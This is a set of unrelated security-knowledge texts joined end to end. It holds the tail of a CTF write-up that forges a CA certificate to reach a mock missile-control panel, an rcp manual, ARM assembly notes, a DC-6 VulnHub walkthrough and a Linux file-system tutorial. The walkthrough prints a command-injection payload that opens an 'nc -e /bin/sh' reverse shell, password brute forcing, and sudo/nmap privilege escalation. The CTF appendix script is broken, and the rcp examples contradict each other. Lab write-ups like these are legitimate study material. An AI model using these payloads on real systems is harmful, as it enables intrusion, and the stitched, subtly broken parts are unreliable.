privatekey@intermediate_key.pem --data-urlencode csr@intermediate_csr.pem --output intermediate.p12 % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 6108 0 3213 100 2895 3811 3434 --:--:-- --:--:-- --:--:-- 7245 root@kali:/media/sf_CTFs/mossad/2# openssl pkcs12 -in intermediate.p12 -clcerts -nokeys -out intermediate.pem Enter Import Password: root@kali:/media/sf_CTFs/mossad/2# openssl x509 -in intermediate.pem -text -noout Certificate: Data: Version: 3 (0x2) Serial Number: 1 (0x1) Signature Algorithm: sha256WithRSAEncryption Issuer: O = International Weapons Export Inc. Validity Not Before: May 12 19:42:38 2019 GMT Not After : May 11 19:42:38 2020 GMT Subject: CN = Evil MITM Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public-Key: (2048 bit) Modulus: 00:cb:87:89:23:0d:e0:e9:dd:e0:09:bb:26:df:86: 72:6e:7e:52:b0:f7:1e:98:54:89:00:c8:9f:48:b6: 8d:83:c5:76:55:0b:65:9f:b2:72:28:42:c3:ab:a7: 68:ef:b1:2b:1c:34:b1:f6:c9:77:6f:a4:1a:7e:8d: 21:38:04:88:31:3d:a1:63:bd:22:df:6f:de:d2:ed: 57:ad:9b:93:64:03:4e:02:b4:d8:af:f3:d5:bc:a0: 50:cd:df:74:37:85:a1:aa:98:cc:a5:4b:d4:cc:88: 8a:04:3d:2e:aa:bc:06:6a:a2:52:c0:44:92:37:8f: 10:72:28:e7:15:e2:ad:b7:b5:24:b3:ff:fc:29:09: d1:c2:42:96:bf:05:9f:1a:75:3b:3a:65:a9:5b:d2: 7c:4a:47:ac:1c:d4:f9:a1:64:83:5a:11:cf:8b:f6: ab:09:80:23:a1:c6:8e:d2:41:39:e1:05:96:28:84: a6:6d:8b:83:11:6f:2b:a9:30:4f:4d:2e:e6:75:59: e2:79:15:f0:db:88:13:24:ce:3c:83:68:b2:54:31: 9d:b5:0e:3a:44:5a:b3:64:22:11:ef:98:4f:0d:55: 6f:94:b6:a6:fd:f6:54:0d:95:c4:68:f7:ba:49:10: b8:a9:fb:f8:25:51:5e:46:cd:6d:24:4b:64:17:49: 06:03 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: CA:TRUE X509v3 Subject Key Identifier: 01:12:D6:0D:F5:04:76:E2:5C:3B:68:7B:37:F3:AB:C4:B4:E6:31:13 Signature Algorithm: sha256WithRSAEncryption 7d:2e:1e:c9:df:d0:20:29:a0:5e:11:87:a1:d3:e2:3f:76:c6: 2d:5d:da:d5:53:51:5c:6b:b1:5c:e9:37:9d:69:ed:43:fe:e1: ab:75:4f:22:42:43:cf:f4:6f:4f:a8:fc:70:82:a1:82:bc:26: 6f:7c:7e:7c:13:52:96:b3:16:85:af:fe:78:93:0b:06:05:c9: aa:99:ed:86:84:66:54:14:ca:5b:58:5f:56:1c:c8:ad:5b:9a: 84:b1:2b:e8:19:95:37:2a:f9:73:99:14:7c:d7:e2:8e:d5:09: 9b:29:02:ac:43:91:f1:df:ed:5c:2e:b0:70:33:d5:5b:16:56: 25:c7:2c:1e:92:01:8c:e3:27:05:06:0e:53:0f:0b:93:d2:03: d2:14:97:b9:9f:d5:d9:9f:2b:c5:26:a8:3c:09:23:13:b2:16: 87:32:39:73:e4:e0:ac:4a:c6:c1:35:24:f5:4e:38:3f:87:7e: 7b:b9:8e:1a:46:e2:c6:5c:fb:7f:c9:63:eb:e0:72:8b:3a:43: 34:6a:b3:1d:61:13:39:de:d0:48:0f:27:81:52:ac:62:c2:9c: e4:ae:92:8d:45:77:52:e2:0d:e2:ca:13:3b:33:da:a5:02:8d: 12:ed:00:f9:3e:4d:36:e3:89:79:7c:b1:cd:22:e3:94:3a:86: 6f:1b:a4:9d ``` We got a certificate with CA = TRUE! Now we create a leaf with CN = administrator: ```console root@kali:/media/sf_CTFs/mossad/2# openssl genrsa -out leaf_key.pem 2048 Generating RSA private key, 2048 bit long modulus (2 primes) ...............................................+++++ ........................+++++ e is 65537 (0x010001) root@kali:/media/sf_CTFs/mossad/2# openssl req -new -key leaf_key.pem -out leaf_csr.pem You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]:. State or Province Name (full name) [Some-State]:. Locality Name (eg, city) []:. Organization Name (eg, company) [Internet Widgits Pty Ltd]:. Organizational Unit Name (eg, section) []:. Common Name (e.g. server FQDN or YOUR name) []:administrator Email Address []:. Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: An optional company name []: root@kali:/media/sf_CTFs/mossad/2# cat leaf.ext basicConstraints=CA:FALSE subjectKeyIdentifier=hash root@kali:/media/sf_CTFs/mossad/2# openssl x509 -req -in leaf_csr.pem -CA intermediate.pem -CAkey intermediate_key.pem -CAcreateserial -out leaf.pem -days 1825 -sha256 -extfile leaf.ext Signature ok subject=CN = administrator Getting CA Private Key ``` Double check that the leaf looks ok: ```console root@kali:/media/sf_CTFs/mossad/2# openssl x509 -in leaf.pem -text -noout Certificate: Data: Version: 3 (0x2) Serial Number: 45:c9:6a:20:cc:15:ba:7d:08:79:a7:53:b7:19:91:b9:20:60:45:40 Signature Algorithm: sha256WithRSAEncryption Issuer: CN = Evil MITM Validity Not Before: May 12 19:49:48 2019 GMT Not After : May 10 19:49:48 2024 GMT Subject: CN = administrator Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public-Key: (2048 bit) Modulus: 00:ce:4a:cd:69:f9:b8:a4:fd:3d:bb:79:a2:a7:43: 7b:67:3c:81:18:27:f8:79:83:58:cd:0a:a7:b0:21: 0a:08:c2:d3:d3:f6:28:d4:47:48:ac:14:1f:1c:dc: ef:21:99:39:70:9e:c4:b4:c8:6e:ce:da:1e:77:01: fe:e3:c2:1c:95:5e:0d:91:47:d5:ee:c7:8b:da:c9: 30:f6:ac:ea:43:c9:3e:08:c1:23:7a:e2:bb:3a:69: 2b:0d:38:16:53:91:cb:10:c3:b0:c4:34:13:29:3a: eb:ec:56:15:35:a0:8a:de:60:5b:08:2d:e2:af:52: db:a0:54:1c:f2:44:71:fd:c2:69:da:99:ff:c4:08: 93:67:14:16:c7:14:63:46:53:b6:df:f4:48:aa:c0: b8:5f:a7:0d:55:31:13:a2:d7:d9:4b:47:6f:a0:2a: a4:60:e7:e1:22:df:f7:39:da:b5:5e:71:6e:e5:85: cf:a4:37:7b:b7:12:4a:9e:83:0b:ad:2a:a4:e0:ef: 9c:b9:b7:3f:e6:26:a4:6c:2d:fa:86:d2:65:e4:64: 38:7d:14:c9:3e:22:4e:33:d1:00:84:e0:62:13:8a: 07:ca:f1:c9:5c:bc:2b:bb:d8:ff:2d:1a:95:ac:83: 9e:41:98:4c:81:fa:8d:22:8c:b9:33:2c:c3:09:ff: cc:8d Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: CA:FALSE X509v3 Subject Key Identifier: 40:18:7D:C1:BD:8C:70:DA:02:47:E0:7C:65:F2:64:F9:13:7F:D4:4A Signature Algorithm: sha256WithRSAEncryption 59:b1:99:89:bd:19:3c:4d:81:8e:ea:89:e4:20:7d:1d:8a:b5: 35:a3:b6:38:50:6c:fe:7b:f6:fe:99:ea:9e:3d:f8:43:6c:a4: 4e:c9:7b:d0:52:eb:6b:b4:90:7c:a7:7e:f9:c5:3f:55:25:4f: 60:71:1a:e4:48:a2:72:7f:9d:8e:3d:d5:e5:e5:9e:9d:a2:61: d0:ca:ff:ed:33:79:2d:d3:90:74:6e:4c:b0:c2:d2:c4:f2:7e: 59:44:89:64:d3:0a:fb:fe:32:d3:ed:5c:88:99:bd:89:28:9d: f6:72:5c:24:ac:06:fe:6a:d1:e0:ea:c7:54:30:db:ac:52:f4: 83:6f:41:d8:e0:45:23:0b:07:bc:60:aa:f3:e8:8d:af:53:2e: a1:4f:c9:28:91:ce:14:ef:26:9a:64:19:a8:4a:76:72:f1:cf: 9f:d4:26:b2:fe:0b:bd:3f:5e:67:d2:e0:d2:b0:4b:df:a0:99: 09:14:48:8f:82:6d:6c:b2:02:14:3c:60:a0:d9:f4:45:42:ba: 10:ec:47:b0:e7:2a:a3:a2:d0:4e:bc:7a:02:56:41:ec:4e:85: b1:3c:81:45:85:75:d1:ab:0c:c9:a6:0d:24:b9:3e:74:84:70: 3a:a0:c7:98:ad:83:35:1c:88:1e:80:b9:53:e7:b6:fa:47:95: 53:85:fa:78 ``` We create a PKCS#12 file: ```console root@kali:/media/sf_CTFs/mossad/2# openssl pkcs12 -export -inkey leaf_key.pem -in leaf.pem -certfile intermediate.pem -out final.pfx Enter Export Password: Verifying - Enter Export Password: ``` Now we import it in the browser and try to access the settings: ![](images/missle_settings.png) We're in! We have access to a telnet debug interface which allows entering an IP and port, and a list of IPs and ports. Anything but the first one (Management Status - Managed by 10.0.0.1:80) returns "Only one connection at a time is allowed". Therefore, we'll investigate the first interface. Since the port is 80, we can try to issue raw HTTP commands: ``` GET / HTTP/1.0 ``` We receive the following response (truncated): ``` HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 5374 Set-Cookie: SID=Z0FBQUFBQmMySHNiWklXai05a3kwZ3paWll5NnlzMnZjcnNBOFZxaEZ4SDRVbV84Rlp1UzhLbG5STy1Nc2lHTVRZTFozOHZXYVBkZi1NckRzOTc3S09raW56MzZPXzBWdlppR05rS1dUUUlPS2FXNW9SUXBPd1J1Y1gxejdBVENVVFIwSDU1ZHpLajY3VFNoN0dKUnBVa0hPemZtalVTNVkxaHl1RHQtNU1hbE1xWDhCVzY1c2RFPQ==; Domain=.missilesystem.com; Expires=Tue, 11-Jun-2019 19:59:23 GMT; Path=/ Date: Sun, 12 May 2019 19:59:23 GMT Server: Cheroot/6.5.4 <html> <!-- ... --> <body> <div id="title" class="level1_title"> <div id="welcome"> <span>Welcome to Management System!</span> </div> <div id="settings"><span><a href="/settings">settings</a></span></div> </div> <div id="status"> <div id="managemenetstatus"> <div id="managemenetstatus_title" class="level2_title"> <span class="name">Management Status</span> <span class="value">OK</span> </div> <div id="managemenetstatus_content"> <div id="earlywarning_status" class="level3_title"> <span class="name">Missile System</span> <span class="value">OK</span> </div> </div> </div> </div> </body> </html> ``` Let's try to access the setting page: ``` GET /settings HTTP/1.1 ``` The response: ``` HTTP/1.1 302 FOUND Content-Type: text/html; charset=utf-8 Content-Length: 237 Location: http://10.0.0.1 Date: Sun, 12 May 2019 20:01:13 GMT Server: Cheroot/6.5.4 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <title>Redirecting...</title> <h1>Redirecting...</h1> <p>You should be redirected automatically to target URL: <a href="http://10.0.0.1">http://10.0.0.1</a>. If not click the link. ``` But what if we send the cookie this time? ``` GET /settings HTTP/1.0 Cookie: SID=Z0FBQUFBQmMySHNiWklXai05a3kwZ3paWll5NnlzMnZjcnNBOFZxaEZ4SDRVbV84Rlp1UzhLbG5STy1Nc2lHTVRZTFozOHZXYVBkZi1NckRzOTc3S09raW56MzZPXzBWdlppR05rS1dUUUlPS2FXNW9SUXBPd1J1Y1gxejdBVENVVFIwSDU1ZHpLajY3VFNoN0dKUnBVa0hPemZtalVTNVkxaHl1RHQtNU1hbE1xWDhCVzY1c2RFPQ==; Domain=.missilesystem.com; Expires=Tue, 11-Jun-2019 19:59:23 GMT; Path=/ ``` We get a response: ``` HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 5203 Set-Cookie: SID=Z0FBQUFBQmMySHUtTlJUamp1My11eF9Yc250dFFOOVZMUVI2ZmZlV0pSd0NQMXVZT2RJQWplMmxqTXpadlNEckdtazdYRTd1VmRLNmd6eEZVWFR2QVBIQjljcFVrT0VQbTJhMlNwRTFLV1ludGZITWg0QnJHRjhhSGg1djVwcEFaOGhIWldnSm44RG5xdDVjS0lib2hGamZ0ZkllS0VQRGQzbjRhN20xRnNaZHQ4VFVSd3BiVkhrPQ==; Domain=.missilesystem.com; Expires=Tue, 11-Jun-2019 20:02:06 GMT; Path=/ Date: Sun, 12 May 2019 20:02:06 GMT Server: Cheroot/6.5.4 <html> <!-- ... --> <body> <div id="title" class="level1_title"> <div id="welcome"> <span>Management System Settings</span> </div> </div> <div id="status"> <div id="telnetdebugging"> <div id="telnetdebugging_title" class="level2_title"><span>Telnet Debugging</span></div> <div id="telnet"> <form method="post"> <div id="console"> <input type="submit" value="Turn Off Management System"></input> </div> </form> </div> </div> </div> </body> </html> ``` We have a big button saying "Turn Off Management System", let's click it: ``` POST /settings HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 0 Cookie: SID=Z0FBQUFBQmMySHUtTlJUamp1My11eF9Yc250dFFOOVZMUVI2ZmZlV0pSd0NQMXVZT2RJQWplMmxqTXpadlNEckdtazdYRTd1VmRLNmd6eEZVWFR2QVBIQjljcFVrT0VQbTJhMlNwRTFLV1ludGZITWg0QnJHRjhhSGg1djVwcEFaOGhIWldnSm44RG5xdDVjS0lib2hGamZ0ZkllS0VQRGQzbjRhN20xRnNaZHQ4VFVSd3BiVkhrPQ==; Domain=.missilesystem.com; Expires=Tue, 11-Jun-2019 20:02:06 GMT; Path=/ ``` The success page is shown! ![](images/success2.png) ## Appendix A Since it's a nightmare using the OpenSSL command line, the following script can be used to sign certificates in a much more intuitive way: ```python import datetime from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import serialization from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes def create_self_signed_cert(): # create a key pair k = crypto.PKey() k.generate_key(crypto.TYPE_RSA, 2048) # create a self-signed cert cert = crypto.X509() cert.get_subject().O = 'Org' cert.get_subject().OU = 'Org Unit'*50 cert.get_subject().CN = 'Common Name' cert.set_serial_number(1000) cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(10*365*24*60*60) cert.set_issuer(cert.get_subject()) cert.set_pubkey(k) cert.sign(k, 'sha256') open("self_signed.pem", "w").write( crypto.dump_certificate(crypto.FILETYPE_PEM, cert)) open("self_signed_key.pem", "w").write( crypto.dump_privatekey(crypto.FILETYPE_PEM, k)) leaf_key = rsa.generate_private_key( public_exponent=65537, key_size=4096, backend=default_backend()) with open("leaf_key.pem", "wb") as f: f.write(leaf_key.private_bytes( encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.TraditionalOpenSSL, encryption_algorithm=serialization.BestAvailableEncryption(b"pass"),)) with open("intermediate_key.pem", "rb") as key_file: ca_key = serialization.load_pem_private_key( key_file.read(), password=None, backend=default_backend()) cert_req = x509.Name([ x509.NameAttribute(NameOID.ORGANIZATION_NAME, u"Evil Corporation"), x509.NameAttribute(NameOID.COMMON_NAME, u"administrator") ]) with open("intermediate.pem", "rb") as cer_file: ca_cert = x509.load_pem_x509_certificate(cer_file.read(), default_backend()) backend = default_backend() cert = x509.CertificateBuilder().subject_name( cert_req ).issuer_name( ca_cert.subject ).public_key( leaf_key.public_key() ).serial_number( x509.random_serial_number() ).not_valid_before( datetime.datetime.utcnow() ).not_valid_after( datetime.datetime.utcnow() + datetime.timedelta(days=356) ).add_extension( x509.BasicConstraints(ca=False, path_length=None), critical=False, ).add_extension( x509.SubjectKeyIdentifier.from_public_key(leaf_key.public_key()), critical=False, ).add_extension( x509.AuthorityKeyIdentifier.from_issuer_public_key(ca_key.public_key()), critical=False, ).sign(ca_key, hashes.SHA256(), backend) # Write our certificate chain to disk. #with open("certificate{}.pem".format(i), "wb") as f: # f.write(cert_arr[i].public_bytes(serialization.Encoding.PEM) + ''.join([cert_arr[j].public_bytes(serialization.Encoding.PEM) for j in range(i-1, -1, -1)])) with open("leaf.pem", "wb") as f: f.write(cert.public_bytes(serialization.Encoding.PEM)) ```
sec-knowleage
rcp === 使在两台Linux主机之间的文件复制操作更简单 ## 补充说明 **rcp命令** 使在两台Linux主机之间的文件复制操作更简单。通过适当的配置,在两台Linux主机之间复制文件而无需输入密码,就像本地文件复制一样简单。 ### 语法 ```shell rcp(选项)(参数) ``` ### 选项 ```shell -p:保留源文件或目录的属性,包括拥有者、所属群组、权限与时间; -r:递归处理,将指定目录下的文件与子目录一并处理; -x:加密两台Linux主机间传送的所有信息。 -D:指定远程服务器的端口号。 ``` 同名用户的主目录。如果没有给出远程用户名,就使用当前用户名。如果远程机上的路径包含特殊shell字符,需要用反斜线`\\`、双引号`""`或单引号`''`括起来,使所有的shell元字符都能被远程地解释。需要说明的是,rcp不提示输入口令,它通过rsh命令来执行拷贝。 directory 每个文件或目录参数既可以是远程文件名也可以是本地文件名。远程文件名具有如下形式`rname@rhost:path`,其中rname是远程用户名,rhost是远程计算机名,path是这个文件的路径。 ### 参数 源文件:指定要复制的源文件。源文件可以有多个。 ### 实例 **rcp命令使用条件** 如果系统中有`/etc/hosts`文件,系统管理员应确保该文件包含要与之进行通信的远程主机的项。配置过程: 只对root用户生效 1、在双方root用户根目录下建立rhosts文件,并将双方的hostname加进去。在此之前应在双方的`/etc/hosts`文件中加入对方的ip和hostname 2、把rsh服务启动起来,redhat默认是不启动的。 方法:用执行ntsysv命令,在rsh选项前用空格键选中,确定退出。然后执行`service xinetd restart`即可。 3、到`/etc/pam.d/`目录下,把rsh文件中的`auth required /lib/security/pam_securetty.so`一行用“#”注释掉即可。(只有注释掉这一行,才能用root用户登录) **将当前目录下的 test1 复制到名为 webserver1 的远程系统:** ```shell rcp test1 webserver1:/home/root/test3 ``` 在这种情况下,test1 被复制到远程子目录 test3下,名称仍为 test1 。如果仅提供了远程主机名,rcp 将把 test1 复制到远程主目录下,名称仍为 test1 。 **还可以在目的目录中包含文件名。例如,将文件复制到名为 webserver1的系统中:** ```shell rcp test1 webserver1:/home/root/test3 ``` 在这种情况下,将 test1 复制到远程目录root 下并将其命名为 test3。 **从远程系统复制文件:要将远程系统中的文件复制到本地目录下:** ```shell rcp remote_hostname:remote_file local_fileEnter ``` **将远程系统 webserver1中的 test2 复制到当前目录:** ```shell rcp webserver1:/home/root/test2 .Enter ``` `.`是“当前目录”的简写形式。在这种情况下,远程目录中的 test2 被复制到当前目录下,名称仍为 test2 。 如果希望用新名称复制文件,请提供目标文件名。如果希望将 test2 复制到本地系统中的其他目录下,请使用以下绝对或相对路径名: ```shell rcp webserver1:/home/root/test2 otherdir/ Enter ``` 或者,如果希望用其他文件名将文件复制到其他目录下: ```shell rcp webserver1:/home/root/test2 otherdir/otherfile Enter ``` **将目录复制到远程系统:** 要将本地目录及其文件和子目录复制到远程系统,请同时使用 rcp 和 -r(递归)选项。 ```shell rcp -r local_dir remote_hostname:remote_dir Enter ``` 如果当前目录下没有 local_dir,则除本地目录名外,还需要提供相对路径名(自当前目录开始)或绝对路径名(自 / 顶级目录开始)。另外,如果主目录下没有 remote_dir,则 remote_dir 将需要一个相对路径(自主目录开始)或绝对路径(自 / 开始)。 **要将名为 work 的子目录完整地复制到 webserver1远程计算机中的主目录下名为 products 的目录,请键入以下内容:** ```shell rcp -r work webserver1:/home/root/products Enter ``` 此命令在`webserver1:/home/root/products`下创建名为 work 的目录及其全部内容(假定`/home/root/products`已存在于 webserver1中)。 本示例假定用户处于包含 work 的本地目录下。否则,必须提供该目录的相对或绝对路径,如`/home/root/work`。 **从远程系统复制目录:** 要将远程目录及其所有文件和子目录复制到本地目录,请在以下语法中使用 rcp 和 -r(递归)选项。 ```shell rcp –r remote_hostname:remote_dir local_dir Enter ``` 要将名为 work 的远程目录复制到当前目录,请键入以下内容: ```shell rcp –r webserver1:/home/root/work .Enter ``` `.`表示当前目录。将在此目录下创建 work 目录。
sec-knowleage
### arm汇编基础 LDMIA R0 , {R1,R2,R3,R4} LDM为: 多寄存器“内存取”指令 IA表示每次LDM指令结束之后R0增加1个字 最终结果为R1 = [R0], R1 = [R0+#4], R1 = [R0+#8], R1 = [R0+#0xC] ### arm汇编基础堆栈寻址 (FA、EA、FD、ED) STMFD SP! , {R1-R7,LR} @ 将R1~R7以及LR入栈 LDMFD SP! , {R1-R7,LR} @ 将R1~R7以及LR出栈 ### arm汇编基础块拷贝寻址 LDM和STM为指令前缀,表示多寄存器寻址,指令后缀(IA、DA、IB、DB)。 LDMIA R0!, {R1-R3} @从R0所指向的内存地址依次取出3个字到R1、R2、R3寄存器 STMIA R0!, {R1-R3} @将R1、R2、R3所存储的内容依次存放在R0所指向的内存。 ### arm汇编基础相对寻址 ``` 以当前程序计数器PC的当前值为基地址,将标号标记位置为偏移量,两者相加得 到有效地址。 BL NEXT ... NEXT: ... ``` ### arm汇编跳转指令 arm实现了两种跳转类型,一种是直接使用跳转指令,另外一种则是给PC寄存器直接赋值。 #### 1. B跳转指令 ``` 结构 B{cond} label 直接跳走,如`BNE LABEL` ``` #### 2. BL跳转指令 ``` 结构 BL{cond} label 执行BL指令时,若条件满足,则首先将当前指令的下一条指令的地址赋值给R14寄存器(LR),然 后跳转到label标记的地址处继续执行。一般用在过程调用中,过程结束之后通过`MOV PC, LR`返回 ``` #### 3. BX带状态切换的跳转指令 ``` 结构 BX{cond}Rm 当执行BX指令时,如果条件满足,会判断Rm寄存器的位[0]是否为1,如果是1则会在跳转时自动将CPSR寄存器的T标志位置为1,并将目标位置处的指令解析为Thumb指令,相反,若Rm寄存器的位[0]为0,则将CPSR寄存器的T标志位复位,同时将目标位置的指令解析为arm指令。 ``` 如下: ``` ADR R0, thumbcode + 1 BX R0 @跳转到thumbcode。并且处理器运行为thumb模式 thumbcode: .code 16 ``` #### 4.BLX带链接和状态切换的跳转指令 ``` 结构 BLX{cond}Rm BLX指令集合了BL和BX的功能,在BX的功能上同时保存返回地址到R14(LR) ``` ### arm汇编寄存器访问指令 存储器访问指令操作包括从存储区加载数据,存储数据到存储器,寄存器与存储器之间的数据交换等。 #### `LDR` 将内存中的数据放入到寄存器中 指令示例: ``` LDRH R0,[R1] ;将存储器地址为R1的半字数据读入寄存器R0,并将R0的高16位清零。 LDRH R0,[R1,#8] ;将存储器地址为R1+8的半字数据读入寄存器R0,并将R0的高16位清零。 LDRH R0,[R1,R2] ;将存储器地址为R1+R2的半字数据读入寄存器R0,并将R0的高16位清零。 ``` #### `STR` STR用于存储数据到制定地址。格式如下: STR{type}{cond}Rd,label STRD{cond}Rd,Rd2,label 用法如下: `STR R0,[R2,#04]` 将R0的值存储到R2+4的地址处 #### `LDM` ``` LDM{addr_mode}{cond}Rn{!}reglist ``` 该指令是将内存中堆栈内的数据,批量的赋值给寄存器,即是出栈操作。 > 特别注意, ! 为可选后缀。如果有 ! 则最终地址会写回到Rn寄存器 #### `STM` STM将一个寄存器列表的数据存储到指定的地址单元中。格式如下 ``` STM{addr_mod}{cond}Rn{!}reglist ``` #### `PUSH&&POP` 格式如下: PUSH{cond}reglist POP{cond}reglist 栈操作指令 ``` PUSH {r0,r4-r7} POP {r0,r4-r7} ``` #### `SWP` ### arm寄存器之间的数据交换。 格式为`SWP{B}{cond}Rd,Rm,[Rn]` B是可选的字节,若有B,则交换字节,否则交换字 Rd为临时存放的寄存器,Rm是`要替换`的值 Rn是`要被替换`的数据地址
sec-knowleage
# DC6-WalkThrough --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **靶机地址** - https://www.vulnhub.com/entry/dc-6,315/ **Description** DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing. This isn't an overly difficult challenge so should be great for beginners. The ultimate goal of this challenge is to get root and to read the one and only flag. Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools. For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward. **Technical Information** DC-6 is a VirtualBox VM built on Debian 64 bit, but there shouldn't be any issues running it on most PCs. I have tested this on VMWare Player, but if there are any issues running this VM in VMware, have a read through of this. It is currently configured for Bridged Networking, however, this can be changed to suit your requirements. Networking is configured for DHCP. Installation is simple - download it, unzip it, and then import it into VirtualBox or VMWare and away you go. NOTE: You WILL need to edit your hosts file on your pentesting device so that it reads something like: `192.168.0.142 wordy` NOTE: I've used 192.168.0.142 as an example. You'll need to use your normal method to determine the IP address of the VM, and adapt accordingly. This is VERY important. And yes, it's another WordPress based VM (although only my second one). **Clue** OK, this isn't really a clue as such, but more of some "we don't want to spend five years waiting for a certain process to finish" kind of advice for those who just want to get on with the job. `cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt` That should save you a few years. ;-) **知识点** - worpress 插件漏洞利用 (中期) - 利用 nmap 提权 (后期) **实验环境** `环境仅供参考` - VMware® Workstation 15 Pro - 15.0.0 build-10134415 - kali : NAT 模式,192.168.141.134 - 靶机 : NAT 模式 --- # 前期-信息收集 开始进行 IP 探活 ```bash nmap -sP 192.168.141.0/24 ``` 排除法,去掉自己、宿主机、网关, `192.168.141.140` 就是目标了 扫描开放端口 ```bash nmap -T5 -A -v -p- 192.168.141.140 ``` 一个 SSH 一个 web,先从 web 入手 按照信息修改主机 hosts 文件 修改 kali hosts 文件 ```bash echo "192.168.141.140 wordy" >> /etc/hosts ``` 访问 web,发现是个 wordpress 搭建的网站 按照之前 DC2 的经验来,上 wpscan 扫他一波 ```bash wpscan --url http://wordy --enumerate u ``` 发现几个用户,尝试爆破弱口令,上了 TOP100 没爆出来,回过头来一看作者给了提示 ``` gunzip rockyou.txt.gz cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt ``` 估计这玩意就是钦定的字典了,爆破 ``` wpscan --url http://wordy --passwords passwords.txt ``` 跑出一个 mark ``` Username: mark Password: helpdesk01 ``` 登录 http://wordy/wp-login.php ,发现一个插件 activity monitor --- # 中期-漏洞利用 之前用 wpscan 顺便扫了下漏洞,并没有可以 RCE 的,那么这里猜测可能从这个插件入手,直接搜到一个编号为 CVE-2018-15877 的相应漏洞 kali 监听 ``` nc -nlvp 4444 ``` burp 抓包利用 ``` 127.0.0.1| nc -e /bin/sh 192.168.141.134 4444 ``` 成功弹回 --- # 后期-提权 升级下 shell ``` python -c 'import pty; pty.spawn("/bin/sh")' ``` www 用户下啥也没有,tmp 空的,看了下 passwd 有几个 wordpress 一样的用户,拿 helpdesk01 测试了下几个用户都登不上去,顺便翻了下他们的家目录,mark 和 jens 都有东西 ```bash ls /home/graham ls /home/mark ls /home/sarah ls /home/jens ``` 可以,直接给了我 graham 账号密码,登上去,然后继续查看 看样子只是个备份脚本,但是没有权限运行,暂放一边,查看下能提权的东西把 ``` sudo -l ``` 巧了,这个正好可以用 jens sudo 运行,那修改这个脚本来获取 jens 的 shell 试试 ``` echo "/bin/sh" >> /home/jens/backups.sh sudo -u jens /home/jens/backups.sh whoami ``` 切换成功,jens 下在看看有啥能提权的 ```bash sudo -l ``` 看着着熟悉的4个字母,不禁露出了猥琐的笑容 ```bash echo 'os.execute("/bin/sh")' > /tmp/root.nse cat /tmp/root.nse sudo nmap --script=/tmp/root.nse whoami cd /root cat * ``` 提权成功,感谢靶机作者 @DCUA7
sec-knowleage
--- title: 文件系统结构 --- ### 文件系统( File System ) 如果我们想对文件进行,增删改查( touch rm mv vim ),或者说进行文件的创建,删除,移动,重命名等操作,首先要解决是什么呢?要能找到它。或者说,就是要知道文件在文件系统上的位置。 所以,我们首先要说的是文件系统的结构。实际上就是说一下,Linux 系统默认的那些文件夹的结构。实际上这个结构是非常简单的。 Windows 系统上还分 C/D 盘,Linux 这里其实更简单。所有的文件夹都会存在一个顶级老祖宗文件夹之内。这个老祖宗的名字叫做 `/` 。 Linux 文件系统结构,就是老祖宗文件夹里面包含子文件夹或者文件,子文件里面又包含孙子辈的文件夹或者文件。这个文件系统其实就是一根倒挂的树,最顶端就是 `/` 这个文件夹。 ### 用户主目录( HOME ) 除了 `/` 这个文件夹之外,位置非常独特的文件夹还有一个,就是 `/home/Liu` ,它通常被称为**用户主目录** ( Unix 传统下把文件夹就叫目录),它还有个外号叫 `~` 。用户登陆进系统之后,默认的着陆位置就是这个文件夹。同时,默认情况下,用户只是在这个文件夹里有写权限,而在这个之外的地方是没有写权限的。 要真正找到文件,需要我们学会如何在文件系统内做**跳转** 。 ### 如何在文件系统内做跳转? 这里我们会使用到的一个核心命令叫 `cd` ( Change Directory 改变文件夹 ) 。所以说文件系统内做跳转,其实就是改变**当前**文件夹。 查看当然文件夹中的内容,就用 ``` ls ``` 这个命令。我们可以看到的输出结果大概是 ``` $ ls Desktop Application Download ``` 那么,现在如果我们想要跳转到桌面(或者说就是把**当然文件夹**改变为桌面),那就来执行 ``` cd Desktop ``` 这样就可以跳转到桌面了。到桌面执行 `mkdir FolderName` 来看看这个新的文件夹,是否真正创建到了桌面上( mkdir 全称就是 make Directory ,创建一个文件夹)。 如何跳转到上一级文件夹 ``` cd .. ``` 其中 `..` 就是**上一级文件夹**的外号。 如何快速的回到**用户主目录**呢? ``` cd ~ ``` 或者 ``` cd ``` 都可以。 ### 使用绝对路径进行跳转 上面的跳转形式,都是基于文件夹和我所处的相对位置(**相对路径**)来进行跳转。但是文件系统上跳转还有另外一种形式叫做使用**绝对路径** 。 使用绝对路径进行跳转的最大好处,就是跟用户的**当前位置**无关。 绝对路径的特点是一定以老祖宗文件夹打头,也就是以 `/` 打头。 例如,不管我们当前位置在哪里,下面操作之后,我们都可以跳转成功 ``` cd / ``` 跳转到老祖宗文件夹中。 ``` cd /home/Liu ``` 可以直接跳转到用户主目录。 ### Tab 补齐 敲路径的时候,很容易敲错,可以敲出文件夹的打头的字母,然后敲 Tab (或者敲两下 Tab )就可以自动补齐出完整的文件名了。 ### 总结 知道了如何在文件系统中跳转了,我们就可以进一步学习各种文件操作了(创建,移动,重命名,删除等等)。
sec-knowleage
